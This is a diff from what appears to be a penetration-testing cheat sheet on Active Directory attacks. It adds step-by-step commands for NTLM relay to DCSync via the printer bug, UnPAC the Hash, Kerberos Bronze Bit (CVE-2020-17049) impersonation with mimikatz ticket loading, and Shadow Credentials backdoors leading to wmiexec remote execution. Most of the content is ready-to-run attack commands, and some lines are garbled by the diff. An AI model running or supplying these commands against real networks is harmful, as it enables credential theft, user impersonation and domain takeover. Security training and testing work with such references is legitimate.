* One DC running the `PrintSpooler` service
|
||||
* Another DC vulnerable to zerologon
|
||||
|
||||
* `ntlmrelayx` - from Impacket and any tool such as [`printerbug.py`](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)
|
||||
```powershell
|
||||
# Check if one DC is running the PrintSpooler service
|
||||
rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
|
||||
|
||||
# Setup ntlmrelay in one shell
|
||||
ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support
|
||||
|
||||
#Trigger printerbug in 2nd shell
|
||||
python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
|
||||
```
|
|
@ -377,4 +377,23 @@ Exploitation:
|
|||
# Using Certipy
|
||||
certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
|
||||
certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
|
||||
```
|
||||
```
|
||||
|
||||
|
||||
## UnPAC The Hash
|
||||
|
||||
Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User via its certificate.
|
||||
|
||||
* Windows
|
||||
```ps1
|
||||
# Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
|
||||
Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
|
||||
```
|
||||
* Linux
|
||||
```ps1
|
||||
# Obtain a TGT by validating a PKINIT pre-authentication
|
||||
$ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
|
||||
|
||||
# Use the session key to recover the NT hash
|
||||
$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
|
||||
```
|
||||
|
|
|
@ -0,0 +1,51 @@
|
|||
## Kerberos - Bronze Bit
|
||||
|
||||
CVE-2020-17049
|
||||
|
||||
> An attacker can impersonate users which are not allowed to be delegated. This includes members of the **Protected Users** group and any other users explicitly configured as **sensitive and cannot be delegated**.
|
||||
|
||||
> Patch is out on November 10, 2020, DC are most likely vulnerable until [February 2021](https://support.microsoft.com/en-us/help/4598347/managing-deployment-of-kerberos-s4u-changes-for-cve-2020-17049).
|
||||
|
||||
:warning: Patched Error Message : `[-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)`
|
||||
|
||||
Requirements:
|
||||
* Service account's password hash
|
||||
* Service account's with `Constrained Delegation` or `Resource Based Constrained Delegation`
|
||||
* [Impacket PR #1013](https://github.com/SecureAuthCorp/impacket/pull/1013)
|
||||
|
||||
**Attack #1** - Bypass the `Trust this user for delegation to specified services only – Use Kerberos only` protection and impersonate a user who is protected from delegation.
|
||||
|
||||
```powershell
|
||||
# forwardable flag is only protected by the ticket encryption which uses the service account's password
|
||||
$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip <Domain controller> # -> Forwardable
|
||||
|
||||
$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable
|
||||
|
||||
# Load the ticket
|
||||
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit
|
||||
|
||||
# Access "c$"
|
||||
ls \\service2.test.local\c$
|
||||
```
|
||||
|
||||
**Attack #2** - Write Permissions to one or more objects in the AD
|
||||
|
||||
```powershell
|
||||
# Create a new machine account
|
||||
Import-Module .\Powermad\powermad.ps1
|
||||
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
|
||||
.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit
|
||||
|
||||
# Set PrincipalsAllowedToDelegateToAccount
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADComputer AttackerService
|
||||
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
|
||||
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount
|
||||
|
||||
# Execute the attack
|
||||
python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
|
||||
|
||||
# Load the ticket
|
||||
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
|
||||
```
|
|
@ -1,4 +1,4 @@
|
|||
# Kerberos Service for User Extension
|
||||
# Kerberos - Service for User Extension
|
||||
|
||||
* **Service For User To Self** which allows a service to obtain a TGS on behalf of another user
|
||||
* **Service For User To Proxy** which allows a service to obtain a TGS on behalf of another user on another service
|
||||
|
|
|
@ -0,0 +1,65 @@
|
|||
# Password - Shadow Credentials
|
||||
|
||||
> Add **Key Credentials** to the attribute `msDS-KeyCredentialLink` of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.
|
||||
|
||||
:warning: User objects can't edit their own `msDS-KeyCredentialLink` attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists
|
||||
|
||||
**Requirements**:
|
||||
|
||||
* Domain Controller on (at least) Windows Server 2016
|
||||
* Domain must have Active Directory `Certificate Services` and `Certificate Authority` configured
|
||||
* PKINIT Kerberos authentication
|
||||
* An account with the delegated rights to write to the `msDS-KeyCredentialLink` attribute of the target object
|
||||
|
||||
**Exploitation**:
|
||||
|
||||
- From Windows, use [Whisker](https://github.com/eladshamir/Whisker):
|
||||
```powershell
|
||||
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
|
||||
Whisker.exe list /target:computername$
|
||||
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
|
||||
Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
|
||||
Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1]
|
||||
# Removes a key credential from the target object specified by a DeviceID GUID.
|
||||
Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b
|
||||
```
|
||||
|
||||
- From Linux, use [pyWhisker](https://github.com/ShutdownRepo/pyWhisker):
|
||||
```bash
|
||||
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
|
||||
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
|
||||
# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
|
||||
pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list"
|
||||
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
|
||||
# Removes a key credential from the target object specified by a DeviceID GUID.
|
||||
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"
|
||||
```
|
||||
|
||||
**Scenario**:
|
||||
|
||||
- **Scenario 1**: Shadow Credential relaying
|
||||
- Trigger an NTLM authentication from `DC01` (PetitPotam)
|
||||
- Relay it to `DC02` (ntlmrelayx)
|
||||
- Edit `DC01`'s attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
|
||||
- Alternatively : `ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'`
|
||||
|
||||
- **Scenario 2**: Workstation Takeover with RBCD
|
||||
```ps1
|
||||
# Only for C2: Add Reverse Port Forward from 8081 to Team Server 81
|
||||
|
||||
# Set up ntlmrelayx to relay authentication from target workstation to DC
|
||||
proxychains python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials --shadow-target ws2\$ --http-port 81
|
||||
|
||||
# Execute printer bug to trigger authentication from target workstation
|
||||
proxychains python3 printerbug.py ez.lab/matt:Password1\!@ws2.ez.lab ws1@8081/file
|
||||
|
||||
# Get a TGT using the newly acquired certificate via PKINIT
|
||||
proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR
|
||||
|
||||
# Get a ST (service ticket) for the target account
|
||||
proxychains python3 gets4uticket.py kerberos+ccache://ez.lab\\ws2\$:ws2.ccache@dc1.ez.lab cifs/ws2.ez.lab@ez.lab administrator@ez.lab administrator_tgs.ccache -v
|
||||
|
||||
# Utilize the ST for future activity
|
||||
export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache
|
||||
proxychains python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab
|
||||
```
|
Loading…
Reference in New Issue